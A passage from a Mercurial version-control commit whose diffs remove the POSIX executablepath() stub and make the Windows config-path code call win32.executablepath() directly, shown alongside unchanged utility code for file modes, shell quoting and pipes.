rcutil: directly call win32.executablepath()

Since it isn't supported on POSIX platform, we don't need to double the
compatibility layers.

mercurial/posix.py

@@ -1,697 +1,694 b''
 # posix.py - Posix utility function implementations for Mercurial
 #
 #  Copyright 2005-2009 Matt Mackall <[e-mail]> and others
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
 import fcntl
 import getpass
 import grp
 import os
 import pwd
 import re
 import select
 import stat
 import sys
 import tempfile
 import unicodedata
 
 from .i18n import _
 from . import (
     encoding,
     error,
     policy,
     pycompat,
 )
 
 osutil = policy.importmod(r'osutil')
 
 posixfile = open
 normpath = os.path.normpath
 samestat = os.path.samestat
 try:
     oslink = os.link
 except AttributeError:
     # Some platforms build Python without os.link on systems that are
     # vaguely unix-like but don't have hardlink support. For those
     # poor souls, just say we tried and that it failed so we fall back
     # to copies.
     def oslink(src, dst):
         raise OSError(errno.EINVAL,
                       'hardlinks not supported: %s to %s' % (src, dst))
 unlink = os.unlink
 rename = os.rename
 removedirs = os.removedirs
 expandglobs = False
 
 umask = os.umask(0)
 os.umask(umask)
 
 def split(p):
     '''Same as posixpath.split, but faster
 
     >>> import posixpath
     >>> for f in [b'/absolute/path/to/file',
     ...           b'relative/path/to/file',
     ...           b'file_alone',
     ...           b'path/to/directory/',
     ...           b'/multiple/path//separators',
     ...           b'/file_at_root',
     ...           b'///multiple_leading_separators_at_root',
     ...           b'']:
     ...     assert split(f) == posixpath.split(f), f
     '''
     ht = p.rsplit('/', 1)
     if len(ht) == 1:
         return '', p
     nh = ht[0].rstrip('/')
     if nh:
         return nh, ht[1]
     return ht[0] + '/', ht[1]
 
 def openhardlinks():
     '''return true if it is safe to hold open file handles to hardlinks'''
     return True
 
 def nlinks(name):
     '''return number of hardlinks for the given file'''
     return os.lstat(name).st_nlink
 
 def parsepatchoutput(output_line):
     """parses the output produced by patch and returns the filename"""
     pf = output_line[14:]
     if pycompat.sysplatform == 'OpenVMS':
         if pf[0] == '`':
             pf = pf[1:-1] # Remove the quotes
     else:
         if pf.startswith("'") and pf.endswith("'") and " " in pf:
             pf = pf[1:-1] # Remove the quotes
     return pf
 
 def sshargs(sshcmd, host, user, port):
     '''Build argument list for ssh'''
     args = user and ("%s@%s" % (user, host)) or host
     if '-' in args[:1]:
         raise error.Abort(
             _('illegal ssh hostname or username starting with -: %s') % args)
     args = shellquote(args)
     if port:
         args = '-p %s %s' % (shellquote(port), args)
     return args
 
 def isexec(f):
     """check whether a file is executable"""
     return (os.lstat(f).st_mode & 0o100 != 0)
 
 def setflags(f, l, x):
     st = os.lstat(f)
     s = st.st_mode
     if l:
         if not stat.S_ISLNK(s):
             # switch file to link
             fp = open(f, 'rb')
             data = fp.read()
             fp.close()
             unlink(f)
             try:
                 os.symlink(data, f)
             except OSError:
                 # failed to make a link, rewrite file
                 fp = open(f, "wb")
                 fp.write(data)
                 fp.close()
         # no chmod needed at this point
         return
     if stat.S_ISLNK(s):
         # switch link to file
         data = os.readlink(f)
         unlink(f)
         fp = open(f, "wb")
         fp.write(data)
         fp.close()
         s = 0o666 & ~umask # avoid restatting for chmod
 
     sx = s & 0o100
     if st.st_nlink > 1 and bool(x) != bool(sx):
         # the file is a hardlink, break it
         with open(f, "rb") as fp:
             data = fp.read()
         unlink(f)
         with open(f, "wb") as fp:
             fp.write(data)
 
     if x and not sx:
         # Turn on +x for every +r bit when making a file executable
         # and obey umask.
         os.chmod(f, s | (s & 0o444) >> 2 & ~umask)
     elif not x and sx:
         # Turn off all +x bits
         os.chmod(f, s & 0o666)
 
 def copymode(src, dst, mode=None):
     '''Copy the file mode from the file at path src to dst.
     If src doesn't exist, we're using mode instead. If mode is None, we're
     using umask.'''
     try:
         st_mode = os.lstat(src).st_mode & 0o777
     except OSError as inst:
         if inst.errno != errno.ENOENT:
             raise
         st_mode = mode
         if st_mode is None:
             st_mode = ~umask
         st_mode &= 0o666
     os.chmod(dst, st_mode)
 
 def checkexec(path):
     """
     Check whether the given path is on a filesystem with UNIX-like exec flags
 
     Requires a directory (like /foo/.hg)
     """
 
     # VFAT on some Linux versions can flip mode but it doesn't persist
     # a FS remount. Frequently we can detect it if files are created
     # with exec bit on.
 
     try:
         EXECFLAGS = stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH
         cachedir = os.path.join(path, '.hg', 'cache')
         if os.path.isdir(cachedir):
             checkisexec = os.path.join(cachedir, 'checkisexec')
             checknoexec = os.path.join(cachedir, 'checknoexec')
 
             try:
                 m = os.stat(checkisexec).st_mode
             except OSError as e:
                 if e.errno != errno.ENOENT:
                     raise
                 # checkisexec does not exist - fall through ...
             else:
                 # checkisexec exists, check if it actually is exec
                 if m & EXECFLAGS != 0:
                     # ensure checkisexec exists, check it isn't exec
                     try:
                         m = os.stat(checknoexec).st_mode
                     except OSError as e:
                         if e.errno != errno.ENOENT:
                             raise
                         open(checknoexec, 'w').close() # might fail
                         m = os.stat(checknoexec).st_mode
                     if m & EXECFLAGS == 0:
                         # check-exec is exec and check-no-exec is not exec
                         return True
                     # checknoexec exists but is exec - delete it
                     unlink(checknoexec)
                 # checkisexec exists but is not exec - delete it
                 unlink(checkisexec)
 
             # check using one file, leave it as checkisexec
             checkdir = cachedir
         else:
             # check directly in path and don't leave checkisexec behind
             checkdir = path
             checkisexec = None
         fh, fn = tempfile.mkstemp(dir=checkdir, prefix='hg-checkexec-')
         try:
             os.close(fh)
             m = os.stat(fn).st_mode
             if m & EXECFLAGS == 0:
                 os.chmod(fn, m & 0o777 | EXECFLAGS)
                 if os.stat(fn).st_mode & EXECFLAGS != 0:
                     if checkisexec is not None:
                         os.rename(fn, checkisexec)
                         fn = None
                     return True
         finally:
             if fn is not None:
                 unlink(fn)
     except (IOError, OSError):
         # we don't care, the user probably won't be able to commit anyway
         return False
 
 def checklink(path):
     """check whether the given path is on a symlink-capable filesystem"""
     # mktemp is not racy because symlink creation will fail if the
     # file already exists
     while True:
         cachedir = os.path.join(path, '.hg', 'cache')
         checklink = os.path.join(cachedir, 'checklink')
         # try fast path, read only
         if os.path.islink(checklink):
             return True
         if os.path.isdir(cachedir):
             checkdir = cachedir
         else:
             checkdir = path
             cachedir = None
         fscheckdir = pycompat.fsdecode(checkdir)
         name = tempfile.mktemp(dir=fscheckdir,
                                prefix=r'checklink-')
         name = pycompat.fsencode(name)
         try:
             fd = None
             if cachedir is None:
                 fd = tempfile.NamedTemporaryFile(dir=fscheckdir,
                                                  prefix=r'hg-checklink-')
                 target = pycompat.fsencode(os.path.basename(fd.name))
             else:
                 # create a fixed file to link to; doesn't matter if it
                 # already exists.
                 target = 'checklink-target'
                 try:
                     fullpath = os.path.join(cachedir, target)
                     open(fullpath, 'w').close()
                 except IOError as inst:
                     if inst[0] == errno.EACCES:
                         # If we can't write to cachedir, just pretend
                         # that the fs is readonly and by association
                         # that the fs won't support symlinks. This
                         # seems like the least dangerous way to avoid
                         # data loss.
                         return False
                     raise
             try:
                 os.symlink(target, name)
                 if cachedir is None:
                     unlink(name)
                 else:
                     try:
                         os.rename(name, checklink)
                     except OSError:
                         unlink(name)
                 return True
             except OSError as inst:
                 # link creation might race, try again
                 if inst[0] == errno.EEXIST:
                     continue
                 raise
             finally:
                 if fd is not None:
                     fd.close()
         except AttributeError:
             return False
         except OSError as inst:
             # sshfs might report failure while successfully creating the link
             if inst[0] == errno.EIO and os.path.exists(name):
                 unlink(name)
             return False
 
 def checkosfilename(path):
     '''Check that the base-relative path is a valid filename on this platform.
     Returns None if the path is ok, or a UI string describing the problem.'''
     return None # on posix platforms, every path is ok
 
 def getfsmountpoint(dirpath):
     '''Get the filesystem mount point from a directory (best-effort)
 
     Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
     '''
     return getattr(osutil, 'getfsmountpoint', lambda x: None)(dirpath)
 
 def getfstype(dirpath):
     '''Get the filesystem type name from a directory (best-effort)
 
     Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
     '''
     return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
 
 def setbinary(fd):
     pass
 
 def pconvert(path):
     return path
 
 def localpath(path):
     return path
 
 def samefile(fpath1, fpath2):
     """Returns whether path1 and path2 refer to the same file. This is only
     guaranteed to work for files, not directories."""
     return os.path.samefile(fpath1, fpath2)
 
 def samedevice(fpath1, fpath2):
     """Returns whether fpath1 and fpath2 are on the same device. This is only
     guaranteed to work for files, not directories."""
     st1 = os.lstat(fpath1)
     st2 = os.lstat(fpath2)
     return st1.st_dev == st2.st_dev
 
 # os.path.normcase is a no-op, which doesn't help us on non-native filesystems
 def normcase(path):
     return path.lower()
 
 # what normcase does to ASCII strings
 normcasespec = encoding.normcasespecs.lower
 # fallback normcase function for non-ASCII strings
 normcasefallback = normcase
 
 if pycompat.isdarwin:
 
     def normcase(path):
         '''
         Normalize a filename for OS X-compatible comparison:
         - escape-encode invalid characters
         - decompose to NFD
         - lowercase
         - omit ignored characters [200c-200f, 202a-202e, 206a-206f,feff]
 
         >>> normcase(b'UPPER')
         'upper'
         >>> normcase(b'Caf\\xc3\\xa9')
         'cafe\\xcc\\x81'
         >>> normcase(b'\\xc3\\x89')
         'e\\xcc\\x81'
         >>> normcase(b'\\xb8\\xca\\xc3\\xca\\xbe\\xc8.JPG') # issue3918
         '%b8%ca%c3\\xca\\xbe%c8.jpg'
         '''
 
         try:
             return encoding.asciilower(path)  # exception for non-ASCII
         except UnicodeDecodeError:
             return normcasefallback(path)
 
     normcasespec = encoding.normcasespecs.lower
 
     def normcasefallback(path):
         try:
             u = path.decode('utf-8')
         except UnicodeDecodeError:
             # OS X percent-encodes any bytes that aren't valid utf-8
             s = ''
             pos = 0
             l = len(path)
             while pos < l:
                 try:
                     c = encoding.getutf8char(path, pos)
                     pos += len(c)
                 except ValueError:
                     c = '%%%02X' % ord(path[pos:pos + 1])
                     pos += 1
                 s += c
 
             u = s.decode('utf-8')
 
         # Decompose then lowercase (HFS+ technote specifies lower)
         enc = unicodedata.normalize(r'NFD', u).lower().encode('utf-8')
         # drop HFS+ ignored characters
         return encoding.hfsignoreclean(enc)
 
 if pycompat.sysplatform == 'cygwin':
     # workaround for cygwin, in which mount point part of path is
     # treated as case sensitive, even though underlying NTFS is case
     # insensitive.
 
     # default mount points
     cygwinmountpoints = sorted([
             "/usr/bin",
             "/usr/lib",
             "/cygdrive",
             ], reverse=True)
 
     # use upper-ing as normcase as same as NTFS workaround
     def normcase(path):
         pathlen = len(path)
         if (pathlen == 0) or (path[0] != pycompat.ossep):
             # treat as relative
             return encoding.upper(path)
 
         # to preserve case of mountpoint part
         for mp in cygwinmountpoints:
             if not path.startswith(mp):
                 continue
 
             mplen = len(mp)
             if mplen == pathlen: # mount point itself
                 return mp
             if path[mplen] == pycompat.ossep:
                 return mp + encoding.upper(path[mplen:])
 
         return encoding.upper(path)
 
     normcasespec = encoding.normcasespecs.other
     normcasefallback = normcase
 
     # Cygwin translates native ACLs to POSIX permissions,
     # but these translations are not supported by native
     # tools, so the exec bit tends to be set erroneously.
     # Therefore, disable executable bit access on Cygwin.
     def checkexec(path):
         return False
 
     # Similarly, Cygwin's symlink emulation is likely to create
     # problems when Mercurial is used from both Cygwin and native
     # Windows, with other native tools, or on shared volumes
     def checklink(path):
         return False
 
 _needsshellquote = None
 def shellquote(s):
     if pycompat.sysplatform == 'OpenVMS':
         return '"%s"' % s
     global _needsshellquote
     if _needsshellquote is None:
         _needsshellquote = re.compile(br'[^a-zA-Z0-9._/+-]').search
     if s and not _needsshellquote(s):
         # "s" shouldn't have to be quoted
         return s
     else:
         return "'%s'" % s.replace("'", "'\\''")
 
 def shellsplit(s):
     """Parse a command string in POSIX shell way (best-effort)"""
     return pycompat.shlexsplit(s, posix=True)
 
 def quotecommand(cmd):
     return cmd
 
 def popen(command, mode='r'):
     return os.popen(command, mode)
 
 def testpid(pid):
     '''return False if pid dead, True if running or not sure'''
     if pycompat.sysplatform == 'OpenVMS':
         return True
     try:
         os.kill(pid, 0)
         return True
     except OSError as inst:
         return inst.errno != errno.ESRCH
 
 def explainexit(code):
     """return a 2-tuple (desc, code) describing a subprocess status
     (codes from kill are negative - not os.system/wait encoding)"""
     if code >= 0:
         return _("exited with status %d") % code, code
     return _("killed by signal %d") % -code, -code
 
 def isowner(st):
     """Return True if the stat object st is from the current user."""
     return st.st_uid == os.getuid()
 
 def findexe(command):
     '''Find executable for command searching like which does.
     If command is a basename then PATH is searched for command.
     PATH isn't searched if command is an absolute or relative path.
     If command isn't found None is returned.'''
     if pycompat.sysplatform == 'OpenVMS':
         return command
 
     def findexisting(executable):
         'Will return executable if existing file'
         if os.path.isfile(executable) and os.access(executable, os.X_OK):
             return executable
         return None
 
     if pycompat.ossep in command:
         return findexisting(command)
 
     if pycompat.sysplatform == 'plan9':
         return findexisting(os.path.join('/bin', command))
 
     for path in encoding.environ.get('PATH', '').split(pycompat.ospathsep):
         executable = findexisting(os.path.join(path, command))
         if executable is not None:
             return executable
     return None
 
 def setsignalhandler():
     pass
 
 _wantedkinds = {stat.S_IFREG, stat.S_IFLNK}
 
 def statfiles(files):
     '''Stat each file in files. Yield each stat, or None if a file does not
     exist or has a type we don't care about.'''
     lstat = os.lstat
     getkind = stat.S_IFMT
     for nf in files:
         try:
             st = lstat(nf)
             if getkind(st.st_mode) not in _wantedkinds:
                 st = None
         except OSError as err:
             if err.errno not in (errno.ENOENT, errno.ENOTDIR):
                 raise
             st = None
         yield st
 
 def getuser():
     '''return name of current user'''
     return pycompat.fsencode(getpass.getuser())
 
 def username(uid=None):
     """Return the name of the user with the given uid.
 
     If uid is None, return the name of the current user."""
 
     if uid is None:
         uid = os.getuid()
     try:
         return pwd.getpwuid(uid)[0]
     except KeyError:
         return str(uid)
 
 def groupname(gid=None):
     """Return the name of the group with the given gid.
 
     If gid is None, return the name of the current group."""
 
     if gid is None:
         gid = os.getgid()
     try:
         return grp.getgrgid(gid)[0]
     except KeyError:
         return str(gid)
 
 def groupmembers(name):
     """Return the list of members of the group with the given
     name, KeyError if the group does not exist.
     """
     return list(grp.getgrnam(name).gr_mem)
 
 def spawndetached(args):
     return os.spawnvp(os.P_NOWAIT | getattr(os, 'P_DETACH', 0),
                       args[0], args)
 
 def gethgcmd():
     return sys.argv[:1]
 
 def makedir(path, notindexed):
     os.mkdir(path)
 
 def lookupreg(key, name=None, scope=None):
     return None
 
 def hidewindow():
     """Hide current shell window.
 
     Used to hide the window opened when starting asynchronous
     child process under Windows, unneeded on other systems.
     """
     pass
 
 class cachestat(object):
     def __init__(self, path):
         self.stat = os.stat(path)
 
     def cacheable(self):
         return bool(self.stat.st_ino)
 
     __hash__ = object.__hash__
 
     def __eq__(self, other):
         try:
             # Only dev, ino, size, mtime and atime are likely to change. Out
             # of these, we shouldn't compare atime but should compare the
             # rest. However, one of the other fields changing indicates
             # something fishy going on, so return False if anything but atime
             # changes.
             return (self.stat.st_mode == other.stat.st_mode and
                     self.stat.st_ino == other.stat.st_ino and
                     self.stat.st_dev == other.stat.st_dev and
                     self.stat.st_nlink == other.stat.st_nlink and
                     self.stat.st_uid == other.stat.st_uid and
                     self.stat.st_gid == other.stat.st_gid and
                     self.stat.st_size == other.stat.st_size and
                     self.stat[stat.ST_MTIME] == other.stat[stat.ST_MTIME] and
                     self.stat[stat.ST_CTIME] == other.stat[stat.ST_CTIME])
         except AttributeError:
             return False
 
     def __ne__(self, other):
         return not self == other
 
-def executablepath():
-    return None # available on Windows only
-
 def statislink(st):
     '''check whether a stat result is a symlink'''
     return st and stat.S_ISLNK(st.st_mode)
 
 def statisexec(st):
     '''check whether a stat result is an executable file'''
     return st and (st.st_mode & 0o100 != 0)
 
 def poll(fds):
     """block until something happens on any file descriptor
 
     This is a generic helper that will check for any activity
     (read, write.  exception) and return the list of touched files.
 
     In unsupported cases, it will raise a NotImplementedError"""
     try:
         while True:
             try:
                 res = select.select(fds, fds, fds)
                 break
             except select.error as inst:
                 if inst.args[0] == errno.EINTR:
                     continue
                 raise
     except ValueError: # out of range file descriptor
         raise NotImplementedError()
     return sorted(list(set(sum(res, []))))
 
 def readpipe(pipe):
     """Read all available data from a pipe."""
     # We can't fstat() a pipe because Linux will always report 0.
     # So, we set the pipe to non-blocking mode and read everything
     # that's available.
     flags = fcntl.fcntl(pipe, fcntl.F_GETFL)
     flags |= os.O_NONBLOCK
     oldflags = fcntl.fcntl(pipe, fcntl.F_SETFL, flags)
 
     try:
         chunks = []
         while True:
             try:
                 s = pipe.read()
                 if not s:
                     break
                 chunks.append(s)
             except IOError:
                 break
 
         return ''.join(chunks)
     finally:
         fcntl.fcntl(pipe, fcntl.F_SETFL, oldflags)
 
 def bindunixsocket(sock, path):
     """Bind the UNIX domain socket to the specified path"""
     # use relative path instead of full path at bind() if possible, since
     # AF_UNIX path has very small length limit (107 chars) on common
     # platforms (see sys/un.h)
     dirname, basename = os.path.split(path)
     bakwdfd = None
     if dirname:
         bakwdfd = os.open('.', os.O_DIRECTORY)
         os.chdir(dirname)
     sock.bind(basename)
     if bakwdfd:
         os.fchdir(bakwdfd)
         os.close(bakwdfd)

mercurial/scmwindows.py

@@ -1,61 +1,61 b''
 from __future__ import absolute_import
 
 import os
 
 from . import (
     encoding,
     pycompat,
     util,
     win32,
 )
 
 try:
     import _winreg as winreg
     winreg.CloseKey
 except ImportError:
     import winreg
 
 # MS-DOS 'more' is the only pager available by default on Windows.
 fallbackpager = 'more'
 
 def systemrcpath():
     '''return default os-specific hgrc search path'''
     rcpath = []
-    filename = util.executablepath()
+    filename = win32.executablepath()
     # Use mercurial.ini found in directory with hg.exe
     progrc = os.path.join(os.path.dirname(filename), 'mercurial.ini')
     rcpath.append(progrc)
     # Use hgrc.d found in directory with hg.exe
     progrcd = os.path.join(os.path.dirname(filename), 'hgrc.d')
     if os.path.isdir(progrcd):
         for f, kind in util.listdir(progrcd):
             if f.endswith('.rc'):
                 rcpath.append(os.path.join(progrcd, f))
     # else look for a system rcpath in the registry
     value = util.lookupreg('SOFTWARE\\Mercurial', None,
                            winreg.HKEY_LOCAL_MACHINE)
     if not isinstance(value, str) or not value:
         return rcpath
     value = util.localpath(value)
     for p in value.split(pycompat.ospathsep):
         if p.lower().endswith('mercurial.ini'):
             rcpath.append(p)
         elif os.path.isdir(p):
             for f, kind in util.listdir(p):
                 if f.endswith('.rc'):
                     rcpath.append(os.path.join(p, f))
     return rcpath
 
 def userrcpath():
     '''return os-specific hgrc search path to the user dir'''
     home = os.path.expanduser('~')
     path = [os.path.join(home, 'mercurial.ini'),
             os.path.join(home, '.hgrc')]
     userprofile = encoding.environ.get('USERPROFILE')
     if userprofile and userprofile != home:
         path.append(os.path.join(userprofile, 'mercurial.ini'))
         path.append(os.path.join(userprofile, '.hgrc'))
     return path
 
 def termsize(ui):
     return win32.termsize()

mercurial/util.py

@@ -1,4094 +1,4093 b''
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import, print_function
 
 import abc
 import bz2
 import collections
 import contextlib
 import errno
 import gc
 import hashlib
 import imp
 import io
 import itertools
 import mmap
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import signal
 import socket
 import stat
 import subprocess
 import sys
 import tempfile
 import time
 import traceback
 import warnings
 import zlib
 
 from . import (
     encoding,
     error,
     i18n,
     node as nodemod,
     policy,
     pycompat,
     urllibcompat,
 )
 from .utils import (
     dateutil,
     stringutil,
 )
 
 base85 = policy.importmod(r'base85')
 osutil = policy.importmod(r'osutil')
 parsers = policy.importmod(r'parsers')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 empty = pycompat.empty
 httplib = pycompat.httplib
 pickle = pycompat.pickle
 queue = pycompat.queue
 socketserver = pycompat.socketserver
 stderr = pycompat.stderr
 stdin = pycompat.stdin
 stdout = pycompat.stdout
 bytesio = pycompat.bytesio
 # TODO deprecate stringio name, as it is a lie on Python 3.
 stringio = bytesio
 xmlrpclib = pycompat.xmlrpclib
 
 httpserver = urllibcompat.httpserver
 urlerr = urllibcompat.urlerr
 urlreq = urllibcompat.urlreq
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 def isatty(fp):
     try:
         return fp.isatty()
     except AttributeError:
         return False
 
 # glibc determines buffering on first write to stdout - if we replace a TTY
 # destined stdout with a pipe destined stdout (e.g. pager), we want line
 # buffering
 if isatty(stdout):
     stdout = os.fdopen(stdout.fileno(), r'wb', 1)
 
 if pycompat.iswindows:
     from . import windows as platform
     stdout = platform.winstdout(stdout)
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
-executablepath = platform.executablepath
 expandglobs = platform.expandglobs
 explainexit = platform.explainexit
 findexe = platform.findexe
 getfsmountpoint = platform.getfsmountpoint
 getfstype = platform.getfstype
 gethgcmd = platform.gethgcmd
 getuser = platform.getuser
 getpid = os.getpid
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 hidewindow = platform.hidewindow
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 popen = platform.popen
 posixfile = platform.posixfile
 quotecommand = platform.quotecommand
 readpipe = platform.readpipe
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setbinary = platform.setbinary
 setflags = platform.setflags
 setsignalhandler = platform.setsignalhandler
 shellquote = platform.shellquote
 shellsplit = platform.shellsplit
 spawndetached = platform.spawndetached
 split = platform.split
 sshargs = platform.sshargs
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 testpid = platform.testpid
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 try:
     setprocname = osutil.setprocname
 except AttributeError:
     pass
 try:
     unblocksignal = osutil.unblocksignal
 except AttributeError:
     pass
 
 # Python compatibility
 
 _notset = object()
 
 def safehasattr(thing, attr):
     return getattr(thing, attr, _notset) is not _notset
 
 def _rapply(f, xs):
     if xs is None:
         # assume None means non-value of optional data
         return xs
     if isinstance(xs, (list, set, tuple)):
         return type(xs)(_rapply(f, x) for x in xs)
     if isinstance(xs, dict):
         return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
     return f(xs)
 
 def rapply(f, xs):
     """Apply function recursively to every item preserving the data structure
 
     >>> def f(x):
     ...     return 'f(%s)' % x
     >>> rapply(f, None) is None
     True
     >>> rapply(f, 'a')
     'f(a)'
     >>> rapply(f, {'a'}) == {'f(a)'}
     True
     >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
     ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
 
     >>> xs = [object()]
     >>> rapply(pycompat.identity, xs) is xs
     True
     """
     if f is pycompat.identity:
         # fast path mainly for py2
         return xs
     return _rapply(f, xs)
 
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
 if _dowarn and pycompat.ispy3:
     # silence warning emitted by passing user string to re.sub()
     warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
                             r'mercurial')
     warnings.filterwarnings(r'ignore', r'invalid escape sequence',
                             DeprecationWarning, r'mercurial')
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += ("\n(compatibility will be dropped after Mercurial-%s,"
                 " update your code.)") % version
         warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
 
 DIGESTS = {
     'md5': hashlib.md5,
     'sha1': hashlib.sha1,
     'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester([b'md5', b'sha1'])
     >>> d.update(b'foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d[b'md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d[b'sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred([b'md5', b'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
                 raise Abort(_('unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise Abort(_('unknown digest type: %s') % k)
         return nodemod.hex(self._hashes[key].digest())
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise Abort(_('size mismatch: expected %d, got %d') %
                 (self._size, self._got))
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise Abort(_('%s mismatch: expected %s, got %s') %
                     (k, v, self._digester[k]))
 
 try:
     buffer = buffer
 except NameError:
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset:offset + length]
         return memoryview(sliceable)[offset:]
 
 closefds = pycompat.isposix
 
 _chunksize = 4096
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
     def __new__(cls, fh):
         # If we receive a fileobjectproxy, we need to use a variation of this
         # class that notifies observers about activity.
         if isinstance(fh, fileobjectproxy):
             cls = observedbufferedinputpipe
 
         return super(bufferedinputpipe, cls).__new__(cls)
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def readline(self, *args, **kwargs):
         if 1 < len(self._buffer):
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find('\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find('\n')
         size = lfi + 1
         if lfi < 0: # end of file
             size = self._lenbuf
         elif 1 < len(self._buffer):
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return ''
         buf = self._buffer[0]
         if 1 < len(self._buffer):
             buf = ''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data):]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self):
         """read data to the buffer"""
